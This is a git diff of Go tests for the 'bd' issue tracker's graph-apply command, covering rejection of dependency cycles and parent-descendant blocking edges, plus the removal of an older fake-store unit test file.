with nothing written. +func TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge(t *testing.T) { + for _, depType := range []string{"blocks", "conditional-blocks"} { + t.Run(depType, func(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "root", ToKey: "child", Type: depType}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cannot be blocked by its descendant") { + t.Fatalf("error = %v, want descendant-blocking rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } + }) + } +} + +// TestExecuteGraphApplyRejectsReverseParentChildEdgeCycle restores the +// deleted fake-store TestExecuteGraphApplyUnitRejectsReverseParentChildEdgeCycle: +// an explicit parent-child edge from a planned parent to its own planned child +// makes each node the other's parent. No local check sees it (a parent-child +// edge is not "cycle relevant" to validateGraphApplyLocalCycles), so the role +// is the only refusal. The old preflight worded it as a planned path from the +// parent; the role reports the cycle. +func TestExecuteGraphApplyRejectsReverseParentChildEdgeCycle(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "root", ToKey: "child", Type: string(types.DepParentChild)}, + }, + } + + if err := validateGraphApplyPlan(plan, nil, nil, GraphApplyOptions{}); err != nil { + t.Fatalf("validateGraphApplyPlan: %v", err) + } + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %v, want reverse parent-child cycle rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } +} + +// TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor pins a +// deliberate change. The deleted in-transaction preflight +// (validateGraphApplyPlannedParentBlockingPaths) walked every AffectsReadyWork +// edge, so it refused a planned path from a parent to its own descendant that +// ran through a waits-for hop. The role's end gate walks the scheduling edges +// only (types.IsSchedulingEdge leaves waits-for out on purpose), the same gate +// `bd dep add` and `bd batch apply` go through, so `bd create --graph` now +// stores these plans as those commands do. The blocking twins, the same +// paths with the waits-for hop made a blocks edge, are still refused: +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge and +// TestExecuteGraphApplyRejectsExternalParentTransitiveBlockingPath. +// +// Accepting the shape is not the same as it being safe. Once the spawner has +// an open child, every issue in the shape stays blocked and none is ever +// ready: the parent waits on the spawner's children, and the path from the +// parent down to its own descendant keeps those children blocked for as long +// as the parent is. IsSchedulingEdge's "a waits-for edge cannot close a +// cycle" does not hold here, in either case below. Refusing the shape belongs +// in the shared role, for every front door at once (#7292); this test is the marker +// to flip when that lands. +func TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor(t *testing.T) { + // A waits-for edge's target is its spawner (validateGraphApplyPlan). + waitsFor := func(from, to string) GraphApplyEdge { + return GraphApplyEdge{FromKey: from, ToKey: to, Type: string(types.DepWaitsFor), SpawnerKey: to} + } + tests := []struct { + name string + nodes []GraphApplyNode + edges []GraphApplyEdge + // hop is the node the parent's waits-for edge lands on. + hop string + }{ + { + name: "direct", + nodes: []GraphApplyNode{ + {Key: "parent", Title: "Parent", Type: "epic"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "parent"}, + }, + edges: []GraphApplyEdge{waitsFor("parent", "child")}, + hop: "child", + }, + { + name: "then a blocking edge", + nodes: []GraphApplyNode{ + {Key: "parent", Title: "Parent", Type: "epic"}, + {Key: "mid", Title: "Middle", Type: "task"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "parent"}, + }, + edges: []GraphApplyEdge{ + waitsFor("parent", "mid"), + {FromKey: "mid", ToKey: "child", Type: string(types.DepBlocks)}, + }, + hop: "mid", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{Nodes: tt.nodes, Edges: tt.edges} + if err := validateGraphApplyPlan(plan, nil, nil, GraphApplyOptions{}); err != nil { + t.Fatalf("validateGraphApplyPlan: %v", err) + } + result, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err != nil { + t.Fatalf("executeGraphApply: %v", err) + } + + deps, err := store.GetDependenciesWithMetadata(ctx, result.IDs["parent"]) + if err != nil { + t.Fatalf("GetDependenciesWithMetadata(parent): %v", err) + } + if len(deps) != 1 || deps[0].ID != result.IDs[tt.hop] || deps[0].DependencyType != types.DepWaitsFor { + t.Fatalf("parent dependencies = %+v, want one waits-for edge to %s", deps, result.IDs[tt.hop]) + } + }) + } +} + +// TestExecuteGraphApplyFinalGateCatchesCycleHiddenFromPerEdgeChecks restores +// the deleted fake-store +// TestExecuteGraphApplyUnitFinalGateCatchesCycleHiddenFromPerEdgeChecks. That +// test blinded the fake store's per-edge cycle probe; the real request has the +// same switch, SkipPerEdgeCycleCheck, which drops the per-edge probe but never +// the end gate. With it set, the plans TestExecuteGraphApplyRejectsCombinedSchedulingCycle +// and TestExecuteGraphApplyRejectsCycleHiddenInInlineDep send through +// executeGraphApply must still be refused, by the end gate alone. +func TestExecuteGraphApplyFinalGateCatchesCycleHiddenFromPerEdgeChecks(t *testing.T) { + tests := []struct { + name string + plan *GraphApplyPlan + }{ + { + name: "explicit parent-child edge", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task"}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + }, + }, + { + name: "inline parent-child dependency", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task", Deps: []GraphApplyNodeDep{{Type: string(types.DepParentChild), Target: "c"}}}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + req, err := buildGraphApplyBatchRequest(tt.plan, GraphApplyOptions{}, actor, "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + req.SkipPerEdgeCycleCheck = true + applier, err := store.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier: %v", err) + } + _, err = applier.ApplyBatch(ctx, req) + // The end gate's own wording: the per-edge probe would have said + // "adding dependency would create a cycle" against one item. + if err == nil || !strings.Contains(err.Error(), "dependency cycle would be created") { + t.Fatalf("end gate error = %v, want the whole-graph cycle rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } + }) + } +} + +// TestExecuteGraphApplyRejectsTransitiveParentChainBlockingCycle restores the +// deleted fake-store TestExecuteGraphApplyUnitRejectsTransitiveParentChainBlockingCycle +// against the real BatchApplier path: a plan-local parent chain (a's parent is +// plan-local b, b's parent is an existing external issue) plus a blocking edge +// from that external grandparent to the local leaf must be rejected even +// though no single parent-child hop is itself local-and-external at once — +// catching it requires walking the hierarchy against the store, which only +// the end gate executeGraphApply reaches can do. +func TestExecuteGraphApplyRejectsTransitiveParentChainBlockingCycle(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + grandparent := &types.Issue{ + ID: "ga-chain-grandparent", + Title: "Existing Grandparent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, grandparent, actor); err != nil { + t.Fatalf("CreateIssue(grandparent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task", ParentKey: "b"}, + {Key: "b", Title: "B", Type: "task", ParentID: grandparent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: grandparent.ID, ToKey: "a", Type: "blocks"}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected transitive parent-chain blocking cycle to be rejected") + } + // Same end gate and error family as the reverse-edge case above: + // CheckBlockingHierarchyInTx walks the full ancestor chain via a recursive + // CTE, so the external grandparent is still found even though the + // blocking edge itself only names the plan-local leaf. + if got, want := err.Error(), "cannot be blocked by its"; !strings.Contains(got, want) { + t.Fatalf("error = %q, want to contain %q", got, want) + } +} + +// TestExecuteGraphApplyRejectsBlockingThroughExistingBlocking restores the +// deleted fake-store TestExecuteGraphApplyUnitRejectsBlockingThroughExistingBlocking +// against the real BatchApplier path: a planned blocking edge that would close +// a cycle through an EXISTING stored blocking dependency (not anything in the +// plan) must still be rejected, and must not add the new edge. +func TestExecuteGraphApplyRejectsBlockingThroughExistingBlocking(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + for _, id := range []string{"ga-existing-x", "ga-existing-y"} { + if err := store.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, actor); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + // Existing blocking dep: ga-existing-y blocks ga-existing-x. + if err := store.AddDependency(ctx, &types.Dependency{ + IssueID: "ga-existing-y", + DependsOnID: "ga-existing-x", + Type: types.DepBlocks, + }, actor); err != nil { + t.Fatalf("AddDependency(y -> x): %v", err) + } + + plan := &GraphApplyPlan{ + Edges: []GraphApplyEdge{ + {FromID: "ga-existing-x", ToID: "ga-existing-y", Type: "blocks"}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected blocking cycle through existing blocking dep to be rejected") + } + if !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %q, want cycle rejection", err.Error()) + } + + deps, err := store.GetDependenciesWithMetadata(ctx, "ga-existing-y") + if err != nil { + t.Fatalf("GetDependenciesWithMetadata(ga-existing-y): %v", err) + } + if len(deps) != 1 { + t.Fatalf("ga-existing-y dependency count = %d, want 1 (only the pre-existing edge)", len(deps)) + } +} + +// TestExecuteGraphApplyRejectsExternalParentTransitiveBlockingPath restores +// the deleted fake-store +// TestExecuteGraphApplyUnitRejectsExternalParentTransitiveBlockingPath: a +// blocking edge from an existing issue to a plan-local middle node, chained +// with a second blocking edge from that middle node to a plan-local +// descendant of the existing issue, composes into a disallowed +// parent-to-descendant block even though no single edge in the plan touches +// the hierarchy directly. +func TestExecuteGraphApplyRejectsExternalParentTransitiveBlockingPath(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + parent := &types.Issue{ + ID: "ga-transitive-parent", + Title: "Existing Parent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, parent, actor); err != nil { + t.Fatalf("CreateIssue(parent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "mid", Title: "Middle", Type: "task"}, + {Key: "child", Title: "Child", Type: "task", ParentID: parent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: parent.ID, ToKey: "mid", Type: "blocks"}, + {FromKey: "mid", ToKey: "child", Type: "blocks"}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected external parent transitive blocking path to be rejected") + } + // Confirmed against a real Dolt test server (2026-10 coordinator + // follow-up): see the sibling comment in + // TestExecuteGraphApplyRejectsStoredPrefixParentBlockingPath above for + // why this checks for "cycle" rather than a parent-path phrase. + if got, want := err.Error(), "cycle"; !strings.Contains(got, want) { + t.Fatalf("error = %q, want to contain %q", got, want) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('Middle', 'Child')").Scan(&count); err != nil { + t.Fatalf("query plan issue rows: %v", err) + } + if count != 0 { + t.Fatalf("plan issue rows after rejected transitive path = %d, want 0", count) + } +} + +// TestExecuteGraphApplyRejectsCombinedSchedulingCycle restores the deleted +// fake-store TestExecuteGraphApplyUnitRejectsCombinedSchedulingCycle: a cycle +// that mixes a blocking edge, an EXPLICIT (not implicit-via-parent_key) +// parent-child edge, and a conditional-blocks edge. The explicit +// parent-child leg is deliberately not a "cycle relevant" type for +// validateGraphApplyLocalCycles's plan-local preflight +// (graphApplyCycleRelevantDependencyType only treats blocks/ +// conditional-blocks as such), so this cycle is invisible to that pure +// check and is caught only by the real apply path's whole-graph gate. +func TestExecuteGraphApplyRejectsCombinedSchedulingCycle(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task"}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cycle") { + t.Fatalf("combined scheduling cycle error = %v, want rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('A', 'B', 'C')").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected combined scheduling cycle = %d, want 0", count) + } +} + +// TestExecuteGraphApplyRejectsCycleHiddenInInlineDep restores the deleted +// fake-store TestExecuteGraphApplyUnitFinalGateCatchesCycleHiddenFromPerEdgeChecks's +// "inline parent-child dependency" subcase: the cycle-closing parent-child +// hop is a per-node inline Dep (node.Deps), never a top-level plan Edge, so +// it is invisible to validateGraphApplyLocalCycles (which only walks +// plan.Edges) and to any check that only looks at explicit edges. Only the +// real apply path's final whole-graph gate, which sees every dependency the +// batch will write (inline or not), can catch it. +func TestExecuteGraphApplyRejectsCycleHiddenInInlineDep(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task", Deps: []GraphApplyNodeDep{{Type: string(types.DepParentChild), Target: "c"}}}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %v, want cycle rejection via the inline parent-child dep", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('A', 'B', 'C')").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } +} + +// TestExecuteGraphApplyFinalGateIncludesImplicitNodeParent restores the +// deleted fake-store TestExecuteGraphApplyUnitFinalGateIncludesImplicitNodeParent, +// recast as a rejection: the old test introspected the fake store's captured +// cycle-check edge set directly, which has no real-store equivalent, so this +// pins the same claim (the final gate folds in a node's IMPLICIT +// parent-child edge, not only explicit plan edges) by constructing a cycle +// that closes ONLY through that implicit edge — b's parent is an existing +// external issue addressed by ParentID, which validateGraphApplyLocalCycles +// cannot see at all (it only models an implicit parent for a LOCAL, +// plan-key parent) — so a false negative here would mean the final gate +// silently dropped the implicit edge. +func TestExecuteGraphApplyFinalGateIncludesImplicitNodeParent(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + existingParent := &types.Issue{ + ID: "ga-final-gate-parent", + Title: "Existing Parent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, existingParent, actor); err != nil { + t.Fatalf("CreateIssue(parent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task", ParentID: existingParent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: existingParent.ID, ToKey: "a", Type: string(types.DepBlocks)}, + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected cycle closed through b's implicit parent-child edge to be rejected") + } + if !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %q, want cycle rejection", err.Error()) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('A', 'B')").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } +} + +// TestExecuteGraphApplyRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder +// restores the deleted fake-store +// TestExecuteGraphApplyUnitRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder: +// a blocking edge onto a planned ancestor must be rejected whether the +// hierarchy is stated as explicit parent-child plan edges or as per-node +// inline Deps, and regardless of which edge the plan lists first — the +// blocking edge deliberately comes before the parent-child edges/deps in +// both subcases, so a check that stops at the first-seen edge rather than +// resolving the whole planned hierarchy would miss it. +func TestExecuteGraphApplyRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder(t *testing.T) { + tests := []struct { + name string + plan *GraphApplyPlan + }{ + { + name: "explicit edges", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "grand", Title: "Grand", Type: "task"}, + {Key: "parent", Title: "Parent", Type: "task"}, + {Key: "child", Title: "Child", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "child", ToKey: "grand", Type: "conditional-blocks"}, // Deliberately first. + {FromKey: "child", ToKey: "parent", Type: "parent-child"}, + {FromKey: "parent", ToKey: "grand", Type: "parent-child"}, + }, + }, + }, + { + name: "inline deps", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "grand", Title: "Grand", Type: "task"}, + {Key: "parent", Title: "Parent", Type: "task", Deps: []GraphApplyNodeDep{{Type: "parent-child", Target: "grand"}}}, + {Key: "child", Title: "Child", Type: "task", Deps: []GraphApplyNodeDep{ + {Type: "blocks", Target: "grand"}, // Deliberately first. + {Type: "parent-child", Target: "parent"}, + }}, + }, + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + _, err := executeGraphApply(ctx, tt.plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cannot be blocked by its ancestor") { + t.Fatalf("error = %v, want planned-ancestor rejection", err) + } + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } + }) } } diff --git a/cmd/bd/graph_apply_execution_unit_test.go b/cmd/bd/graph_apply_execution_unit_test.go deleted file mode 100644 index 653978908..000000000 --- a/cmd/bd/graph_apply_execution_unit_test.go +++ /dev/null @@ -1,956 +0,0 @@ -package main - -import ( - "context" - "fmt" - "strings" - "testing" - - "github.com/steveyegge/beads/internal/config" - "github.com/steveyegge/beads/internal/storage" - "github.com/steveyegge/beads/internal/types" -) - -type graphApplyFakeStore struct { - storage.DoltStorage - issues map[string]*types.Issue - deps []*types.Dependency - addOpts []storage.DependencyAddOptions - cycleEdges [][2]string - nextID int - // Simulates Dolt's split regular/wisp transactions, where a per-edge probe - // may not see an uncommitted path in the other transaction snapshot. - blindPerEdgeCycleChecks bool -} - -func newGraphApplyFakeStore() *graphApplyFakeStore { - return &graphApplyFakeStore{ - issues: make(map[string]*types.Issue), - } -} - -func (s *graphApplyFakeStore) CreateIssue(_ context.Context, issue *types.Issue, _ string) error { - cp := *issue - if cp.ID == "" { - cp.ID = s.nextIssueID(&cp) - } - issue.ID = cp.ID - s.issues[cp.ID] = &cp - return nil -} - -func (s *graphApplyFakeStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { - issue, ok := s.issues[id] - if !ok { - return nil, storage.ErrNotFound - } - cp := *issue - return &cp, nil -} - -func (s *graphApplyFakeStore) GetDependenciesWithMetadata(_ context.Context, issueID string) ([]*types.IssueWithDependencyMetadata, error) { - var out []*types.IssueWithDependencyMetadata - for _, dep := range s.deps { - if dep.IssueID != issueID { - continue - } - issue, ok := s.issues[dep.DependsOnID] - if !ok { - continue - } - cp := *issue - out = append(out, &types.IssueWithDependencyMetadata{ - Issue: cp, - DependencyType: dep.Type, - }) - } - return out, nil -} - -func (s *graphApplyFakeStore) GetDependencyRecords(_ context.Context, issueID string) ([]*types.Dependency, error) { - var out []*types.Dependency - for _, dep := range s.deps { - if dep.IssueID != issueID { - continue - } - cp := *dep - out = append(out, &cp) - } - return out, nil -} - -func (s *graphApplyFakeStore) RunInTransaction(ctx context.Context, _ string, fn func(storage.Transaction) error) error { - txStore := s.clone() - tx := &graphApplyFakeTx{store: txStore} - if err := fn(tx); err != nil { - return err - } - s.issues = txStore.issues - s.deps = txStore.deps - s.addOpts = txStore.addOpts - s.cycleEdges = txStore.cycleEdges - s.nextID = txStore.nextID - return nil -} - -func (s *graphApplyFakeStore) clone() *graphApplyFakeStore { - cp := &graphApplyFakeStore{ - issues: make(map[string]*types.Issue, len(s.issues)), - deps: make([]*types.Dependency, 0, len(s.deps)), - addOpts: append([]storage.DependencyAddOptions(nil), s.addOpts...), - cycleEdges: append([][2]string(nil), s.cycleEdges...), - nextID: s.nextID, - blindPerEdgeCycleChecks: s.blindPerEdgeCycleChecks, - } - for id, issue := range s.issues { - issueCopy := *issue - cp.issues[id] = &issueCopy - } - for _, dep := range s.deps { - depCopy := *dep - cp.deps = append(cp.deps, &depCopy) - } - return cp -} - -func (s *graphApplyFakeStore) nextIssueID(issue *types.Issue) string { - s.nextID++ - if issue.Ephemeral { - return fmt.Sprintf("ga-wisp-%d", s.nextID) - } - return fmt.Sprintf("ga-%d", s.nextID) -} - -type graphApplyFakeTx struct { - storage.Transaction - store *graphApplyFakeStore -} - -func (tx *graphApplyFakeTx) CreateIssues(ctx context.Context, issues []*types.Issue, actor string) error { - for _, issue := range issues { - if err := tx.store.CreateIssue(ctx, issue, actor); err != nil { - return err - } - } - return nil -} - -func (tx *graphApplyFakeTx) AddDependency(ctx context.Context, dep *types.Dependency, actor string) error { - return tx.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{}) -} - -func (tx *graphApplyFakeTx) AddDependencyWithOptions(_ context.Context, dep *types.Dependency, _ string, opts storage.DependencyAddOptions) error { - tx.store.addOpts = append(tx.store.addOpts, opts) - if isGraphApplyFakeBlocking(dep.Type) { - if tx.hasParentPath(dep.IssueID, dep.DependsOnID) { - return fmt.Errorf("%s cannot be blocked by its ancestor %s", dep.IssueID, dep.DependsOnID) - } - if tx.hasParentPath(dep.DependsOnID, dep.IssueID) { - return fmt.Errorf("%s cannot be blocked by its descendant %s", dep.IssueID, dep.DependsOnID) - } - } - for _, existing := range tx.store.deps { - if existing.IssueID == dep.IssueID && existing.DependsOnID == dep.DependsOnID { - if existing.Type == dep.Type { - // Real storage accepts this duplicate and updates metadata; graph - // apply never sets dependency metadata, so the fake treats it as - // idempotent for duplicate-suppression tests. - return nil - } - return fmt.Errorf("dependency already exists with type %s", existing.Type) - } - } - if isGraphApplyFakeScheduling(dep.Type) && !opts.SkipCycleCheck && !tx.store.blindPerEdgeCycleChecks && tx.hasSchedulingPath(dep.DependsOnID, dep.IssueID) { - return fmt.Errorf("adding dependency would create a cycle") - } - depCopy := *dep - tx.store.deps = append(tx.store.deps, &depCopy) - return nil -} - -func (tx *graphApplyFakeTx) CycleThroughEdges(_ context.Context, edges [][2]string) (string, error) { - tx.store.cycleEdges = append([][2]string(nil), edges...) - for _, edge := range edges { - if tx.hasSchedulingPath(edge[1], edge[0]) { - return edge[0] + " → " + edge[1] + " → " + edge[0], nil - } - } - return "", nil -} - -func (tx *graphApplyFakeTx) hasParentPath(fromID, toID string) bool { - seen := make(map[string]bool) - var visit func(string) bool - visit = func(id string) bool { - if id == toID { - return true - } - if seen[id] { - return false - } - seen[id] = true - for _, dep := range tx.store.deps { - if dep.IssueID == id && dep.Type == types.DepParentChild && visit(dep.DependsOnID) { - return true - } - } - return false - } - return visit(fromID) -} - -func isGraphApplyFakeScheduling(t types.DependencyType) bool { - return isGraphApplyFakeBlocking(t) || t == types.DepParentChild -} - -func (tx *graphApplyFakeTx) hasSchedulingPath(fromID, toID string) bool { - seen := make(map[string]bool) - var visit func(string) bool - visit = func(id string) bool { - if id == toID { - return true - } - if seen[id] { - return false - } - seen[id] = true - for _, dep := range tx.store.deps { - if dep.IssueID == id && isGraphApplyFakeScheduling(dep.Type) && visit(dep.DependsOnID) { - return true - } - } - return false - } - return visit(fromID) -} - -func (tx *graphApplyFakeTx) GetDependencyRecords(ctx context.Context, issueID string) ([]*types.Dependency, error) { - return tx.store.GetDependencyRecords(ctx, issueID) -} - -func (tx *graphApplyFakeTx) AddLabel(context.Context, string, string, string) error { - return nil -} - -func (tx *graphApplyFakeTx) UpdateIssue(_ context.Context, id string, updates map[string]interface{}, _ string) error { - issue, ok := tx.store.issues[id] - if !ok { - return storage.ErrNotFound - } - if assignee, ok := updates["assignee"].(string); ok { - issue.Assignee = assignee - } - return nil -} - -func (tx *graphApplyFakeTx) hasBlockingPath(fromID, toID string) bool { - seen := make(map[string]bool) - var visit func(string) bool - visit = func(id string) bool { - if id == toID { - return true - } - if seen[id] { - return false - } - seen[id] = true - for _, dep := range tx.store.deps { - if dep.IssueID != id || !isGraphApplyFakeBlocking(dep.Type) { - continue - } - if visit(dep.DependsOnID) { - return true - } - } - return false - } - return visit(fromID) -} - -func isGraphApplyFakeBlocking(depType types.DependencyType) bool { - return graphApplyCycleRelevantDependencyType(depType) -} - -func withGraphApplyFakeStore(t *testing.T) (context.Context, *graphApplyFakeStore) { - t.Helper() - ctx := context.Background() - fakeStore := newGraphApplyFakeStore() - oldStore, oldCtx, oldActor := store, rootCtx, actor - store, rootCtx, actor = fakeStore, ctx, "graph-apply-test" - t.Cleanup(func() { - store, rootCtx, actor = oldStore, oldCtx, oldActor - }) - return ctx, fakeStore -} - -func TestExecuteGraphApplyUnitRejectsMixedLocalExternalBlockingCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-existing", - Title: "Existing", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing", ToKey: "a", Type: "blocks"}, - {FromKey: "b", ToID: "ga-existing", Type: "blocks"}, - {FromKey: "a", ToKey: "b", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected mixed local/external blocking cycle to be rejected") - } - if !strings.Contains(err.Error(), "cycle") { - t.Fatalf("error = %q, want cycle rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitKeepsStorageCycleChecksAfterGraphPreflight(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-existing", - Title: "Existing", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing", ToKey: "a", Type: "blocks"}, - {FromKey: "a", ToKey: "b", Type: "blocks"}, - {FromKey: "b", ToID: "external:other:shipped", Type: "blocks"}, - }, - } - - if _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}); err != nil { - t.Fatalf("executeGraphApply: %v", err) - } - if len(fakeStore.addOpts) != len(plan.Edges) { - t.Fatalf("AddDependencyWithOptions calls = %d, want %d", len(fakeStore.addOpts), len(plan.Edges)) - } - for i, opts := range fakeStore.addOpts { - if opts.SkipCycleCheck { - t.Fatalf("edge %d SkipCycleCheck = true, want false", i) - } - } -} - -// TestExecuteGraphApplyUnitRejectsBlockingThroughExistingParentChild verifies -// that graph apply still reaches the storage hierarchy guard 